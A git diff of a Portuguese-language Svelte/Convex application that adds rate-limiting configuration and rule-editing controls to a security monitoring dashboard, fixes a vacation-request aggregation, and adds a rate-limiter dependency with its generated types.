class={`btn btn-xs ${filtroTipos.includes(tipo as AtaqueCiberneticoTipo) ? 'btn-accent' : 'btn-outline btn-accent'}`}
|
||||||
@@ -542,18 +795,24 @@ const chartPaths = $derived.by(() => {
|
|||||||
{#if eventosFiltrados.length === 0}
|
{#if eventosFiltrados.length === 0}
|
||||||
<p class="text-base-content/60 text-sm">Nenhum evento correspondente aos filtros.</p>
|
<p class="text-base-content/60 text-sm">Nenhum evento correspondente aos filtros.</p>
|
||||||
{:else}
|
{:else}
|
||||||
{#each eventosFiltrados as evento}
|
{#each eventosFiltrados as evento (evento._id)}
|
||||||
<div class={`card border border-base-200 bg-base-100 shadow-lg ${classeEventoCritico(evento.severidade)}`}>
|
<div
|
||||||
|
class={`card border-base-200 bg-base-100 border shadow-lg ${classeEventoCritico(evento.severidade)}`}
|
||||||
|
>
|
||||||
<div class="card-body gap-3">
|
<div class="card-body gap-3">
|
||||||
<div class="flex flex-wrap items-center justify-between gap-3">
|
<div class="flex flex-wrap items-center justify-between gap-3">
|
||||||
<div class="flex flex-wrap items-center gap-2">
|
<div class="flex flex-wrap items-center gap-2">
|
||||||
<span class={severityStyles[evento.severidade]}>{severityLabels[evento.severidade]}</span>
|
<span class={severityStyles[evento.severidade]}
|
||||||
|
>{severityLabels[evento.severidade]}</span
|
||||||
|
>
|
||||||
<span class="badge badge-outline">{attackLabels[evento.tipoAtaque]}</span>
|
<span class="badge badge-outline">{attackLabels[evento.tipoAtaque]}</span>
|
||||||
<span class={statusStyles[evento.status] ?? 'badge badge-ghost'}>{evento.status}</span>
|
<span class={statusStyles[evento.status] ?? 'badge badge-ghost'}
|
||||||
|
>{evento.status}</span
|
||||||
|
>
|
||||||
</div>
|
</div>
|
||||||
<span class="text-xs text-base-content/60">{formatarData(evento.timestamp)}</span>
|
<span class="text-base-content/60 text-xs">{formatarData(evento.timestamp)}</span>
|
||||||
</div>
|
</div>
|
||||||
<p class="text-sm text-base-content/80">{evento.descricao}</p>
|
<p class="text-base-content/80 text-sm">{evento.descricao}</p>
|
||||||
<div class="grid gap-2 text-xs md:grid-cols-2">
|
<div class="grid gap-2 text-xs md:grid-cols-2">
|
||||||
<div class="space-y-1">
|
<div class="space-y-1">
|
||||||
<div class="flex items-center gap-2">
|
<div class="flex items-center gap-2">
|
||||||
@@ -580,7 +839,8 @@ const chartPaths = $derived.by(() => {
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
class="btn btn-error btn-sm"
|
class="btn btn-error btn-sm"
|
||||||
onclick={() => aplicarMedidaIp('forcar_blacklist', evento.origemIp ?? '', evento._id)}
|
onclick={() =>
|
||||||
|
aplicarMedidaIp('forcar_blacklist', evento.origemIp ?? '', evento._id)}
|
||||||
>
|
>
|
||||||
Bloquear origem
|
Bloquear origem
|
||||||
</button>
|
</button>
|
||||||
@@ -620,18 +880,18 @@ const chartPaths = $derived.by(() => {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="rounded-3xl border border-accent/20 bg-base-100 p-6 shadow-2xl space-y-6">
|
<div class="border-accent/20 bg-base-100 space-y-6 rounded-3xl border p-6 shadow-2xl">
|
||||||
<div>
|
<div>
|
||||||
<h4 class="text-accent text-lg font-bold">Lista Negra Inteligente</h4>
|
<h4 class="text-accent text-lg font-bold">Lista Negra Inteligente</h4>
|
||||||
<ul class="mt-4 space-y-3 text-sm">
|
<ul class="mt-4 space-y-3 text-sm">
|
||||||
{#if ipCriticos.length === 0}
|
{#if ipCriticos.length === 0}
|
||||||
<li class="text-base-content/60">Nenhum IP crítico listado.</li>
|
<li class="text-base-content/60">Nenhum IP crítico listado.</li>
|
||||||
{:else}
|
{:else}
|
||||||
{#each ipCriticos as registro}
|
{#each ipCriticos as registro (registro.indicador)}
|
||||||
<li class="flex items-center justify-between gap-2 rounded-xl bg-base-200/40 p-3">
|
<li class="bg-base-200/40 flex items-center justify-between gap-2 rounded-xl p-3">
|
||||||
<div>
|
<div>
|
||||||
<p class="font-semibold">{registro.indicador}</p>
|
<p class="font-semibold">{registro.indicador}</p>
|
||||||
<p class="text-xs text-base-content/60">
|
<p class="text-base-content/60 text-xs">
|
||||||
Score: {registro.reputacao} • Ocorrências: {registro.ocorrencias}
|
Score: {registro.reputacao} • Ocorrências: {registro.ocorrencias}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
@@ -654,8 +914,8 @@ const chartPaths = $derived.by(() => {
|
|||||||
{#if regras.length === 0}
|
{#if regras.length === 0}
|
||||||
<p class="text-base-content/60">Nenhuma regra cadastrada.</p>
|
<p class="text-base-content/60">Nenhuma regra cadastrada.</p>
|
||||||
{:else}
|
{:else}
|
||||||
{#each regras as regra}
|
{#each regras as regra (regra._id)}
|
||||||
<div class="rounded-xl border border-base-200 p-3">
|
<div class="border-base-200 rounded-xl border p-3">
|
||||||
<div class="flex items-center justify-between">
|
<div class="flex items-center justify-between">
|
||||||
<span class="font-semibold">
|
<span class="font-semibold">
|
||||||
{regra.porta}/{regra.protocolo.toUpperCase()}
|
{regra.porta}/{regra.protocolo.toUpperCase()}
|
||||||
@@ -670,6 +930,48 @@ const chartPaths = $derived.by(() => {
|
|||||||
Expira em: {new Date(regra.expiraEm).toLocaleString('pt-BR', { hour12: false })}
|
Expira em: {new Date(regra.expiraEm).toLocaleString('pt-BR', { hour12: false })}
|
||||||
</p>
|
</p>
|
||||||
{/if}
|
{/if}
|
||||||
|
<div class="mt-2 flex gap-2">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-outline"
|
||||||
|
onclick={async () => {
|
||||||
|
try {
|
||||||
|
await client.mutation(api.security.configurarRegraPorta, {
|
||||||
|
usuarioId: obterUsuarioId(),
|
||||||
|
regraId: regra._id,
|
||||||
|
porta: regra.porta,
|
||||||
|
protocolo: regra.protocolo,
|
||||||
|
acao: regra.acao,
|
||||||
|
temporario: false,
|
||||||
|
severidadeMin: regra.severidadeMin
|
||||||
|
});
|
||||||
|
feedback = { tipo: 'success', mensagem: 'Regra atualizada.' };
|
||||||
|
} catch (erro: unknown) {
|
||||||
|
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Editar
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-error"
|
||||||
|
onclick={async () => {
|
||||||
|
if (!confirm('Tem certeza que deseja excluir esta regra?')) return;
|
||||||
|
try {
|
||||||
|
await client.mutation(api.security.deletarRegraPorta, {
|
||||||
|
regraId: regra._id,
|
||||||
|
usuarioId: obterUsuarioId()
|
||||||
|
});
|
||||||
|
feedback = { tipo: 'success', mensagem: 'Regra excluída.' };
|
||||||
|
} catch (erro: unknown) {
|
||||||
|
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Excluir
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
{/each}
|
{/each}
|
||||||
{/if}
|
{/if}
|
||||||
@@ -683,13 +985,21 @@ const chartPaths = $derived.by(() => {
|
|||||||
<div class="label">
|
<div class="label">
|
||||||
<span class="label-text text-xs">Início</span>
|
<span class="label-text text-xs">Início</span>
|
||||||
</div>
|
</div>
|
||||||
<input type="datetime-local" class="input input-bordered input-sm" bind:value={relatorioInicio} />
|
<input
|
||||||
|
type="datetime-local"
|
||||||
|
class="input input-bordered input-sm"
|
||||||
|
bind:value={relatorioInicio}
|
||||||
|
/>
|
||||||
</label>
|
</label>
|
||||||
<label class="form-control">
|
<label class="form-control">
|
||||||
<div class="label">
|
<div class="label">
|
||||||
<span class="label-text text-xs">Fim</span>
|
<span class="label-text text-xs">Fim</span>
|
||||||
</div>
|
</div>
|
||||||
<input type="datetime-local" class="input input-bordered input-sm" bind:value={relatorioFim} />
|
<input
|
||||||
|
type="datetime-local"
|
||||||
|
class="input input-bordered input-sm"
|
||||||
|
bind:value={relatorioFim}
|
||||||
|
/>
|
||||||
</label>
|
</label>
|
||||||
<label class="flex items-center gap-2 text-xs">
|
<label class="flex items-center gap-2 text-xs">
|
||||||
<input type="checkbox" class="checkbox checkbox-xs" bind:checked={incluirMetricas} />
|
<input type="checkbox" class="checkbox checkbox-xs" bind:checked={incluirMetricas} />
|
||||||
@@ -704,6 +1014,276 @@ const chartPaths = $derived.by(() => {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<!-- Seção de Rate Limiting -->
|
||||||
|
<section class="border-warning/20 bg-base-100/80 rounded-3xl border p-6 shadow-2xl">
|
||||||
|
<div class="mb-4 flex items-center justify-between">
|
||||||
|
<div>
|
||||||
|
<h3 class="text-warning text-2xl font-bold">Rate Limiting Avançado</h3>
|
||||||
|
<p class="text-base-content/70 text-sm">
|
||||||
|
Configure limites de requisições por IP, usuário, endpoint ou globalmente para proteger o
|
||||||
|
sistema.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-warning btn-sm"
|
||||||
|
onclick={() => {
|
||||||
|
resetarFormRateLimit();
|
||||||
|
mostrarRateLimitConfig = !mostrarRateLimitConfig;
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{mostrarRateLimitConfig ? 'Cancelar' : '+ Nova Configuração'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{#if mostrarRateLimitConfig}
|
||||||
|
<form
|
||||||
|
class="border-warning/30 bg-base-200/40 mb-6 space-y-4 rounded-xl border p-4"
|
||||||
|
onsubmit={salvarConfigRateLimit}
|
||||||
|
>
|
||||||
|
<div class="grid gap-4 md:grid-cols-2">
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Nome da Configuração</span>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
class="input input-bordered"
|
||||||
|
placeholder="Ex: Limite IPs suspeitos"
|
||||||
|
bind:value={rateLimitNome}
|
||||||
|
required
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Tipo</span>
|
||||||
|
</div>
|
||||||
|
<select class="select select-bordered" bind:value={rateLimitTipo}>
|
||||||
|
<option value="ip">Por IP</option>
|
||||||
|
<option value="usuario">Por Usuário</option>
|
||||||
|
<option value="endpoint">Por Endpoint</option>
|
||||||
|
<option value="global">Global</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
{#if rateLimitTipo !== 'global'}
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">
|
||||||
|
Identificador ({rateLimitTipo === 'ip'
|
||||||
|
? 'IP'
|
||||||
|
: rateLimitTipo === 'usuario'
|
||||||
|
? 'ID do Usuário'
|
||||||
|
: 'Caminho do Endpoint'})
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
class="input input-bordered"
|
||||||
|
placeholder={rateLimitTipo === 'ip'
|
||||||
|
? 'Ex: 192.168.1.1'
|
||||||
|
: rateLimitTipo === 'usuario'
|
||||||
|
? 'ID do usuário'
|
||||||
|
: '/api/security/registrar'}
|
||||||
|
bind:value={rateLimitIdentificador}
|
||||||
|
required
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
{/if}
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Limite de Requisições</span>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
class="input input-bordered"
|
||||||
|
min="1"
|
||||||
|
max="10000"
|
||||||
|
bind:value={rateLimitLimite}
|
||||||
|
required
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Janela de Tempo (segundos)</span>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
class="input input-bordered"
|
||||||
|
min="1"
|
||||||
|
max="86400"
|
||||||
|
bind:value={rateLimitJanelaSegundos}
|
||||||
|
required
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Estratégia</span>
|
||||||
|
</div>
|
||||||
|
<select class="select select-bordered" bind:value={rateLimitEstrategia}>
|
||||||
|
<option value="fixed_window">Fixed Window</option>
|
||||||
|
<option value="sliding_window">Sliding Window</option>
|
||||||
|
<option value="token_bucket">Token Bucket</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Ação ao Exceder</span>
|
||||||
|
</div>
|
||||||
|
<select class="select select-bordered" bind:value={rateLimitAcaoExcedido}>
|
||||||
|
<option value="bloquear">Bloquear</option>
|
||||||
|
<option value="throttle">Throttle (Atrasar)</option>
|
||||||
|
<option value="alertar">Apenas Alertar</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Bloqueio Temporário (segundos, opcional)</span>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
class="input input-bordered"
|
||||||
|
min="0"
|
||||||
|
placeholder="Deixe vazio para sem bloqueio temporário"
|
||||||
|
bind:value={rateLimitBloqueioTemporarioSegundos}
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Prioridade</span>
|
||||||
|
</div>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
class="input input-bordered"
|
||||||
|
min="0"
|
||||||
|
max="100"
|
||||||
|
bind:value={rateLimitPrioridade}
|
||||||
|
/>
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text-alt">Maior prioridade = aplicado primeiro</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<label class="form-control">
|
||||||
|
<div class="label">
|
||||||
|
<span class="label-text font-semibold">Notas</span>
|
||||||
|
</div>
|
||||||
|
<textarea
|
||||||
|
class="textarea textarea-bordered"
|
||||||
|
placeholder="Observações sobre esta configuração..."
|
||||||
|
bind:value={rateLimitNotas}
|
||||||
|
></textarea>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div class="flex gap-2">
|
||||||
|
<button type="submit" class="btn btn-warning flex-1">
|
||||||
|
{rateLimitEditando ? 'Atualizar Configuração' : 'Criar Configuração'}
|
||||||
|
</button>
|
||||||
|
{#if rateLimitEditando}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-ghost"
|
||||||
|
onclick={() => {
|
||||||
|
resetarFormRateLimit();
|
||||||
|
mostrarRateLimitConfig = false;
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Cancelar
|
||||||
|
</button>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
{/if}
|
||||||
|
|
||||||
|
<div class="space-y-3">
|
||||||
|
<h4 class="text-warning text-lg font-bold">Configurações Ativas</h4>
|
||||||
|
{#if configsRateLimit?.data && configsRateLimit.data.length > 0}
|
||||||
|
<div class="space-y-2">
|
||||||
|
{#each configsRateLimit.data as config (config._id)}
|
||||||
|
<div class="border-warning/30 bg-base-200/40 rounded-xl border p-4">
|
||||||
|
<div class="flex items-start justify-between">
|
||||||
|
<div class="flex-1">
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<h5 class="font-bold">{config.nome}</h5>
|
||||||
|
<span class="badge badge-warning badge-sm">{config.tipo}</span>
|
||||||
|
{#if config.ativo}
|
||||||
|
<span class="badge badge-success badge-sm">Ativo</span>
|
||||||
|
{:else}
|
||||||
|
<span class="badge badge-ghost badge-sm">Inativo</span>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
<div class="mt-2 grid gap-1 text-sm">
|
||||||
|
<p>
|
||||||
|
<span class="font-semibold">Limite:</span>
|
||||||
|
{config.limite} requisições em {config.janelaSegundos}s
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<span class="font-semibold">Estratégia:</span>
|
||||||
|
{config.estrategia.replace('_', ' ')}
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<span class="font-semibold">Ação:</span>
|
||||||
|
{config.acaoExcedido}
|
||||||
|
</p>
|
||||||
|
{#if config.identificador}
|
||||||
|
<p>
|
||||||
|
<span class="font-semibold">Identificador:</span>
|
||||||
|
{config.identificador}
|
||||||
|
</p>
|
||||||
|
{/if}
|
||||||
|
<p>
|
||||||
|
<span class="font-semibold">Prioridade:</span>
|
||||||
|
{config.prioridade}
|
||||||
|
</p>
|
||||||
|
{#if config.notas}
|
||||||
|
<p class="text-base-content/70">
|
||||||
|
<span class="font-semibold">Notas:</span>
|
||||||
|
{config.notas}
|
||||||
|
</p>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="flex flex-col gap-2">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-outline"
|
||||||
|
onclick={() => toggleAtivoRateLimit(config._id, config.ativo)}
|
||||||
|
>
|
||||||
|
{config.ativo ? 'Desativar' : 'Ativar'}
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-outline"
|
||||||
|
onclick={() => editarConfigRateLimit(config._id)}
|
||||||
|
>
|
||||||
|
Editar
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-error btn-outline"
|
||||||
|
onclick={() => deletarConfigRateLimit(config._id)}
|
||||||
|
>
|
||||||
|
Deletar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{/each}
|
||||||
|
</div>
|
||||||
|
{:else}
|
||||||
|
<p class="text-base-content/60 text-sm">Nenhuma configuração de rate limit cadastrada.</p>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<style>
|
<style>
|
||||||
@@ -711,4 +1291,3 @@ const chartPaths = $derived.by(() => {
|
|||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
|
|
||||||
|
|||||||
@@ -305,16 +305,19 @@
|
|||||||
(() => {
|
(() => {
|
||||||
const agregados = new SvelteMap<number, SolicitacoesPorAnoResumo>();
|
const agregados = new SvelteMap<number, SolicitacoesPorAnoResumo>();
|
||||||
|
|
||||||
for (const periodo of solicitacoesAprovadas) {
|
for (const solicitacao of solicitacoesAprovadas) {
|
||||||
const totalDias = periodo.diasFerias;
|
const totalDias = solicitacao.periodos.reduce(
|
||||||
const existente = agregados.get(periodo.anoReferencia) ?? {
|
(acc, periodo) => acc + periodo.diasFerias,
|
||||||
ano: periodo.anoReferencia,
|
0
|
||||||
|
);
|
||||||
|
const existente = agregados.get(solicitacao.anoReferencia) ?? {
|
||||||
|
ano: solicitacao.anoReferencia,
|
||||||
solicitacoes: 0,
|
solicitacoes: 0,
|
||||||
diasTotais: 0
|
diasTotais: 0
|
||||||
};
|
};
|
||||||
existente.solicitacoes += 1;
|
existente.solicitacoes += 1;
|
||||||
existente.diasTotais += totalDias;
|
existente.diasTotais += totalDias;
|
||||||
agregados.set(periodo.anoReferencia, existente);
|
agregados.set(solicitacao.anoReferencia, existente);
|
||||||
}
|
}
|
||||||
|
|
||||||
return Array.from(agregados.values()).sort((a, b) => a.ano - b.ano);
|
return Array.from(agregados.values()).sort((a, b) => a.ano - b.ano);
|
||||||
@@ -458,18 +461,9 @@
|
|||||||
console.log('📅 [Eventos] Total de eventos:', eventosFerias.length);
|
console.log('📅 [Eventos] Total de eventos:', eventosFerias.length);
|
||||||
console.log('📋 [Periodos] Total de períodos:', periodosDetalhados.length);
|
console.log('📋 [Periodos] Total de períodos:', periodosDetalhados.length);
|
||||||
console.log('✅ [Aprovadas] Total de solicitações aprovadas:', solicitacoesAprovadas.length);
|
console.log('✅ [Aprovadas] Total de solicitações aprovadas:', solicitacoesAprovadas.length);
|
||||||
console.log('📊 [PeriodosPorMes] Total:', periodosPorMes.length);
|
|
||||||
console.log('📊 [PeriodosPorMesAtivos] Total:', periodosPorMesAtivos.length);
|
|
||||||
console.log('📊 [SolicitacoesPorAno] Total:', solicitacoesPorAno.length);
|
|
||||||
if (eventosFerias.length > 0) {
|
if (eventosFerias.length > 0) {
|
||||||
console.log('📅 [Eventos] Primeiro evento:', eventosFerias[0]);
|
console.log('📅 [Eventos] Primeiro evento:', eventosFerias[0]);
|
||||||
}
|
}
|
||||||
if (periodosPorMes.length > 0) {
|
|
||||||
console.log('📊 [PeriodosPorMes] Primeiro:', periodosPorMes[0]);
|
|
||||||
}
|
|
||||||
if (solicitacoesPorAno.length > 0) {
|
|
||||||
console.log('📊 [SolicitacoesPorAno] Primeiro:', solicitacoesPorAno[0]);
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
|
|
||||||
let calendarioContainer: HTMLDivElement | null = null;
|
let calendarioContainer: HTMLDivElement | null = null;
|
||||||
|
|||||||
3
bun.lock
3
bun.lock
@@ -75,6 +75,7 @@
|
|||||||
"version": "1.0.0",
|
"version": "1.0.0",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@convex-dev/better-auth": "^0.9.7",
|
"@convex-dev/better-auth": "^0.9.7",
|
||||||
|
"@convex-dev/rate-limiter": "^0.3.0",
|
||||||
"@dicebear/avataaars": "^9.2.4",
|
"@dicebear/avataaars": "^9.2.4",
|
||||||
"better-auth": "catalog:",
|
"better-auth": "catalog:",
|
||||||
"convex": "catalog:",
|
"convex": "catalog:",
|
||||||
@@ -198,6 +199,8 @@
|
|||||||
|
|
||||||
"@convex-dev/eslint-plugin": ["@convex-dev/eslint-plugin@1.0.0", "", { "dependencies": { "@typescript-eslint/utils": "~8.38.0" } }, "sha512-ublJRBKcLCioNaf1ylkCHD2KzAqWE2RIQ6DA/UgXAXQW5qg4vZSWY8wy+EK11yJkSSxcGfFXDWaE1+cHaWJvNA=="],
|
"@convex-dev/eslint-plugin": ["@convex-dev/eslint-plugin@1.0.0", "", { "dependencies": { "@typescript-eslint/utils": "~8.38.0" } }, "sha512-ublJRBKcLCioNaf1ylkCHD2KzAqWE2RIQ6DA/UgXAXQW5qg4vZSWY8wy+EK11yJkSSxcGfFXDWaE1+cHaWJvNA=="],
|
||||||
|
|
||||||
|
"@convex-dev/rate-limiter": ["@convex-dev/rate-limiter@0.3.0", "", { "peerDependencies": { "convex": "^1.24.8", "react": "^18.2.0 || ^19.0.0" }, "optionalPeers": ["react"] }, "sha512-8R1gos0KoGU9+1bahTpOuZgU04d4aAmk7SJw6D37HXLn7DLylAIKegaWmDgdcpaOGHDDDfnvuoEmC1AnoqHruA=="],
|
||||||
|
|
||||||
"@dicebear/adventurer": ["@dicebear/adventurer@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-Xvboay3VH1qe7lH17T+bA3qPawf5EjccssDiyhCX/VT0P21c65JyjTIUJV36Nsv08HKeyDscyP0kgt9nPTRKvA=="],
|
"@dicebear/adventurer": ["@dicebear/adventurer@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-Xvboay3VH1qe7lH17T+bA3qPawf5EjccssDiyhCX/VT0P21c65JyjTIUJV36Nsv08HKeyDscyP0kgt9nPTRKvA=="],
|
||||||
|
|
||||||
"@dicebear/adventurer-neutral": ["@dicebear/adventurer-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-I9IrB4ZYbUHSOUpWoUbfX3vG8FrjcW8htoQ4bEOR7TYOKKE11Mo1nrGMuHZ7GPfwN0CQeK1YVJhWqLTmtYn7Pg=="],
|
"@dicebear/adventurer-neutral": ["@dicebear/adventurer-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-I9IrB4ZYbUHSOUpWoUbfX3vG8FrjcW8htoQ4bEOR7TYOKKE11Mo1nrGMuHZ7GPfwN0CQeK1YVJhWqLTmtYn7Pg=="],
|
||||||
|
|||||||
BIN
cibersecurity-final.png
Normal file
BIN
cibersecurity-final.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 300 KiB |
BIN
cibersecurity-with-ratelimit.png
Normal file
BIN
cibersecurity-with-ratelimit.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 300 KiB |
BIN
erro-autenticacao.png
Normal file
BIN
erro-autenticacao.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 287 KiB |
134
packages/backend/convex/_generated/api.d.ts
vendored
134
packages/backend/convex/_generated/api.d.ts
vendored
@@ -2226,4 +2226,138 @@ export declare const components: {
|
|||||||
updateMany: FunctionReference<"mutation", "internal", any, any>;
|
updateMany: FunctionReference<"mutation", "internal", any, any>;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
rateLimiter: {
|
||||||
|
lib: {
|
||||||
|
checkRateLimit: FunctionReference<
|
||||||
|
"query",
|
||||||
|
"internal",
|
||||||
|
{
|
||||||
|
config:
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "token bucket";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: null;
|
||||||
|
}
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "fixed window";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: number;
|
||||||
|
};
|
||||||
|
count?: number;
|
||||||
|
key?: string;
|
||||||
|
name: string;
|
||||||
|
reserve?: boolean;
|
||||||
|
throws?: boolean;
|
||||||
|
},
|
||||||
|
{ ok: true; retryAfter?: number } | { ok: false; retryAfter: number }
|
||||||
|
>;
|
||||||
|
clearAll: FunctionReference<
|
||||||
|
"mutation",
|
||||||
|
"internal",
|
||||||
|
{ before?: number },
|
||||||
|
null
|
||||||
|
>;
|
||||||
|
getServerTime: FunctionReference<"mutation", "internal", {}, number>;
|
||||||
|
getValue: FunctionReference<
|
||||||
|
"query",
|
||||||
|
"internal",
|
||||||
|
{
|
||||||
|
config:
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "token bucket";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: null;
|
||||||
|
}
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "fixed window";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: number;
|
||||||
|
};
|
||||||
|
key?: string;
|
||||||
|
name: string;
|
||||||
|
sampleShards?: number;
|
||||||
|
},
|
||||||
|
{
|
||||||
|
config:
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "token bucket";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: null;
|
||||||
|
}
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "fixed window";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: number;
|
||||||
|
};
|
||||||
|
shard: number;
|
||||||
|
ts: number;
|
||||||
|
value: number;
|
||||||
|
}
|
||||||
|
>;
|
||||||
|
rateLimit: FunctionReference<
|
||||||
|
"mutation",
|
||||||
|
"internal",
|
||||||
|
{
|
||||||
|
config:
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "token bucket";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: null;
|
||||||
|
}
|
||||||
|
| {
|
||||||
|
capacity?: number;
|
||||||
|
kind: "fixed window";
|
||||||
|
maxReserved?: number;
|
||||||
|
period: number;
|
||||||
|
rate: number;
|
||||||
|
shards?: number;
|
||||||
|
start?: number;
|
||||||
|
};
|
||||||
|
count?: number;
|
||||||
|
key?: string;
|
||||||
|
name: string;
|
||||||
|
reserve?: boolean;
|
||||||
|
throws?: boolean;
|
||||||
|
},
|
||||||
|
{ ok: true; retryAfter?: number } | { ok: false; retryAfter: number }
|
||||||
|
>;
|
||||||
|
resetRateLimit: FunctionReference<
|
||||||
|
"mutation",
|
||||||
|
"internal",
|
||||||
|
{ key?: string; name: string },
|
||||||
|
null
|
||||||
|
>;
|
||||||
|
};
|
||||||
|
time: {
|
||||||
|
getServerTime: FunctionReference<"mutation", "internal", {}, number>;
|
||||||
|
};
|
||||||
|
};
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
import { defineApp } from "convex/server";
|
import { defineApp } from "convex/server";
|
||||||
import betterAuth from "@convex-dev/better-auth/convex.config";
|
import betterAuth from "@convex-dev/better-auth/convex.config";
|
||||||
|
